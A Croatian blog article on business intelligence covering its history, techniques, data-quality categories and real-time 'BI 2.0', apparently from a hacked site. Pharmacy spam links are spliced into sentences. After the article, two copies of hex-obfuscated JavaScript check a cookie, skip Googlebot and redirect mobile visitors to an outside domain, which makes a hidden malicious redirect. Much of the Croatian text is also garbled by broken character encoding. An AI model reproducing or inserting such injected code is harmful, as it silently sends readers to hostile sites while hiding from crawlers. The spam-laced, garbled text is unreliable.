RSS

Poslovna inteligencija: ZaA?to, A?to i kako?

Wed, Jan 21, 2009

ePoslovanje, eTrziste

Informacija na pravom mjestu i u pravo vrijeme je u vrijeme elektroniA?kog poslovanja jedan od najvaA?nijih resursa koji online tadalafil, dapoxetine online. moA?e znaA?iti razliku izmeAi??u opstanka ili propasti kompanije. Prije poA?etka informacijskog doba u drugoj polovici 20 stoljeAi??a, kompanije su morale prikupiti podatke iz neautomatiziranih izvora, te nisu posjedovale raA?unalne resurse za odgovarajuAi??u analizu podataka. Stoga su se poslovne odluke temeljile uglavnom na intuiciji. S automatizacijom sve viA?e sustava, drastiA?no se poveAi??ala koliA?ina podataka koja je postala dostupna. Njihovo je prikupljanje ipak ostalo pravim izazovom zbog pomanjkanja infrastrukture za razmjenu podataka i nekompatibilnosti sustava. Analiza prikupljenih podataka i izrada izvjeA?taja ponekad je trajala mjesecima. Na temelju tih izvjeA?taja mogle su se donositi neke dugoroA?ne strateA?ke odluke, dok su kratkoroA?ne taktiA?ke odluke i dalje ostale temeljene na intuiciji.

-

Ai??to? (poslovna inteligencija)

StrateA?ke se prednosti viA?e ne temelje iskljuA?ivo na fiziA?kim resursima ili dobrom menadA?mentu, veAi?? poglavito na znanju koje postoji u kompaniji i informacijama koje kompanija dobiva s trA?iA?ta. Te se informacije moraju procesirati da bi postale dio znanja kompanije, ili da bi se na temelju njih donijele odluke u kompaniji. Neke od tih odluka mogu biti trivijalne, primjerice poput poveAi??anja ili smanjenja proizvodnje nekog proizvoda, a one se donose na temelju informacija koje su jednostavne i mogu u nepromijenjenom obliku posluA?iti kao ulaz takvim odlukama, poput informacija o proA?lotjednoj prodaji tog proizvoda, ili stanja na odlaznom skladiA?tu. S druge strane pred menadA?ment se moA?e staviti i odluka da li inovacija razvojnog odjela zasluA?uje uAi??i u proizvodnju ili kakve poteze povuAi??i da se proizvod A?ija je prodaja posrnula ponovno vrati u vrh? Za takve odluke oA?ito ne postoje informacije koje bi u neobraAi??enom obliku posluA?ile kao ulazi za odluA?ivanje. Stoga je potrebno ulazne informacije filtrirati, preraditi i povezati da bi se na temelju njih mogli donijeti neki zakljuA?ci ili odluke. Jasno da takav proces nije jednostavan, pogotovo uzevA?i u obzir da postoji ogromna koliA?ina informacija koje su dostupne s trA?iA?ta, konkurencije ili koje dolaze unutar kompanije, u kojoj je potrebno odabrati zaista one koje su relevantne za neku svrhu. U tom se pogledu pojavljuje poslovna inteligencija (Business Intelligence, BI) kao nova aktivnost koja se odnosi na aplikacije i tehnologije koje se koriste za prikupljanje, omoguAi??avanje pristupa i analiziranju podataka o operacijama u kompaniji. Sustavi poslovne inteligencije mogu tako olakA?ati kompanijama da steknu obuhvatnije znanje o faktorima koji utjeA?u na njihovo poslovanje, poput prodaje, proizvodnje ili internih operacija.

-

Kako? (tehnike)

Nakon A?to smo smjestili poslovnu inteligenciju u kontekstu poslovanja moA?emo navesti tehnike u kojima je poslovna inteligencija implementirana. Razvijena su mnoga pomagala koja prikupljaju i analiziraju velike koliA?ine nestrukturiranih podataka. Svaki proizvoAi??aA? pomagala za poslovnu inteligenciju razvija i nudi drugaA?iji proizvod koji najA?eA?Ai??e odgovara potrebama odreAi??enog sektora, primjerice maloprodaje ili financijskih usluga. Neke su aplikacije usredotoA?ene na analizu performansi, projekte ili interne operacije, poput AQL (Associative Query Logic), Scorecarding, praAi??enja poslovnih aktivnosti, menadA?menta poslovnih performansi, poslovnog planiranja, reinA?enjeringa poslovnih procesa, analize kompetencija, sustava za izvjeA?Ai??ivanje krajnjih korisnika, Enterprise Management sustava, EIS (Executive Information Systems); menadA?menta lanaca opskrbe/potraA?nje ili pomagala za financije i budA?etiranje.

Druge se aplikacije poslovne inteligencije odnose na pohranjivanje i analizu podataka, poput rudarenja podataka (Data Mining, DM), farmi i skladiA?ta podataka (Data Farming, Data warehouses), sustava za potporu odluA?ivanju (Decision Support Systems, DSS) i prognoziranju, skladiA?ta dokumenata i upravljanje dokumentima, mapiranja i vizualizacije informacija, sustava menadA?menta informacija (Management Information Systems, MIS), geografskog informacijskog sustava (Geographic Information Systems, GIS), analize trendova, softwarea kao usluge (Software as a service, SaaS), online analitiA?kog procesiranja (Analytical Processing, OLAP) i viA?edimenzionalne analize, poslovne inteligencije u stvarnom vremenu, statistiA?ke i tehniA?ke analize podataka, rudarenja Web-a, rudarenja teksta, itd.

Ostale se aplikacije odnose na analizu ili upravljanje “ljudskom” stranom posla, poput menadA?menta odnosa s kupcima (Customer Relationship Management, CRM) i marketinA?kih pomagala, aplikacija za upravljanje ljudskim resursima ili web personalizacije. Poslovna inteligencija A?esto koristi indikatore kljuA?nih performansi (Key performance indicators, KPIs) da bi ocijenila trenutno stanje poslovanja i odredila buduAi??e smjernice. Poslovanja koja imaju veAi??e operacijske rizike A?esto analiziraju KPI podatke tjedno ili dnevno.

Na A?emu? (kvaliteta podataka)

Prikladni postupci obrade podataka nisu dovoljni da bi se iz njih dobile relevantne informacije za neku kompaniju. Uz to je potrebno osigurati i kvalitetu podataka. A?eljko Panian i Goran Klepac u knjizi “Poslovna inteligencija” navode A?etiri osnovne kategorije kvalitete podataka koje izravno utjeA?u na donoA?enje poslovnih odluka u poduzeAi??u:

  • Standardiziranost – RazliA?ita interpretacija istih pojmova moA?e dovesti do toga da se podatke prilikom unoA?enja u bazu podataka ne prepozna kao identiA?ne, veAi?? ih kompjutor shvati kao razliA?ite (primjer izraz “cijena proizvodnje” i “proizvodna cijena”). Tako dolazi do inkonzistencije u sadrA?aju baze podataka, koje zatim onemoguAi??uju pravilno odgovaranje sustava baze podataka na korisniA?ke upite i poduzimanje drugih sloA?enijih operacija nad podacima u bazi (npr. agregacije, generalizacije, klasifikacije podataka i sl.). Da bi se izbjegle takve pogreA?ke, preporuA?uje se zahvaAi??anje podataka u standardnim ujednaA?enim formatima i njihova dosljedna primjena te provoAi??enje standardizacije poslovnih dokumenata i drugih izvora podataka. Time se ujedno omoguAi??uje i jednostavnije pronalaA?enje sadrA?aja u bazi podataka, usporedba, klasifikacija i ostale logiA?ke i analitiA?ke operacije nad podacima.
  • Podudarnost – U praksi prikupljanja podataka A?esto se javlja problem neplaniranog udvostruA?avanja ili umnoA?avanja slogova u bazi podataka. Do te pojave dolazi zbog malih varijacija prilikom registriranja odreAi??enih podataka, primjerice imena, prezimena i adrese kupca kojem se A?eli poslati katalog proizvoda. Standardni raA?unalni programi te male varijacije ne prepoznaju kao identiA?ne, veAi?? ih pohranjuju u bazi podataka kao tri sloga, kao da se radi o tri razliA?ita kupca, A?ime se stvara pogreA?an privid da su npr. novim katalogom upoznata tri kupca. PomoAi??u koncepta poslovne inteligencije moguAi??e je primjenom suvremenih softverskih alata uoA?iti podudarnosti izmeAi??u nejednakih, a vrlo sliA?nih podataka i apstrahirati bitne od nebitnih pojedinosti.
  • Verificiranost – Postupkom verifikacije ili usporedbe utvrAi??uje se podudarnost bilo kojeg podatka s nekim poznatim izvorom koji sluA?i kao predloA?ak ili etalon. Verifikacija se odnosi na sve tipove podataka, tekstualne, brojA?ane, uzorke zvuka, slike digitaliziranih potpisa, multimedijskih podataka itd. Postupak verifikacije poduzima se radi osiguranja toA?nosti podataka u repozitorijima poduzeAi??a, a u cilju izvoAi??enja pravilnih zakljuA?aka odnosno donoA?enja kvalitetnih poslovnih odluka.
  • ProA?irivost – Upotrebom sofisticirane informacijske tehnologije danas je moguAi??e dodavati nove podatke postojeAi??em skupu podataka kao i mijenjati vrijednost postojeAi??ih podataka na naA?in da ih se uA?ini korisnijima za odgovarajuAi??e primjene. Za te svrhe danas je moguAi??e koristiti tehnologiju Web usluge kao aplikacijsko-komunikacijski servis koji omoguAi??uje svim korisnicima direktnu ugradnju podataka iz vanjskih izvora, putem Web usluge, u vlastito spremiA?te ili skladiA?te podataka.

-

BuduAi??nost

Kompanije se moraju oslanjati viA?e oslanjati na generic mexican viagra. sustave poslovne inteligencije da bi mogle drA?ati korak s konkurencijom. Korisnici poslovne inteligencije poA?eli su zahtijevati poslovnu inteligenciju u realnom vremenu, odnosno analizu podataka u realnom vremenu. SvjeA?e informacije nastale iz procesiranja podataka moraju biti dostupne u svakom trenutku. Kompanije Ai??e morati promijeniti poslovne procese da bi mogle iskoristiti tokove poslovnih podataka. Takav se pristup poslovnoj inteligenciji A?esto naziva i BI2.0. BI2.0 je novi pojam koji se odnosi iskljuA?ivo na prikupljanje, dostavljanje i analizu podataka u realnom vremenu, A?to su obiljeA?ja koja ranije izvedbe pomagala za poslovnu inteligenciju nisu imala. Ovakav pristup poslovnoj inteligenciji mnogi smatraju neutemeljenim, primjerice Hayler. Takav se stav temelji na A?injenici da poslovna pravila i strukture nisu jedinstvene, te da se razlikuju izmeAi??u implementacija transakcijskih sustava unutar jedne kompanije. Drugi je problem A?injenica da se same poslovne strukture mijenjaju. TakoAi??er je A?injenica da se sve dok se poslovna inteligencija temelji na repozitoriju podataka postoji potreba za pretvorbom podataka u neki jedinstveni format, A?to moA?e predstavljati veliki problem u sluA?aju viA?e razdvojenih izvora podataka.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 buy ronaxan without prescription. u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}

Rating 4.00 out of 5
[?]
, , , , , , , , , , , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 44 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

0 Komentari za ovaj tekst

2 Trackbacks za ovaj tekst

  1. eCommerce: Jesu li i Vas profilirali? | eBizMags Says:

    [...] kad postoji iscrpna baza podataka o navikama i interesima korisnika, iz nje se mogu izdvojiti ciljane skupine korisnika sa sličnim [...]

  2. Menadžment znanja vs. Poslovna inteligencija | eBizMags Says:

    [...] između menadžmenta znanja i poslovne inteligencije nije strogo definirana i razlikuje se između brojnih izvora s obzirom da su u posljednje vrijeme [...]

Vas Komentar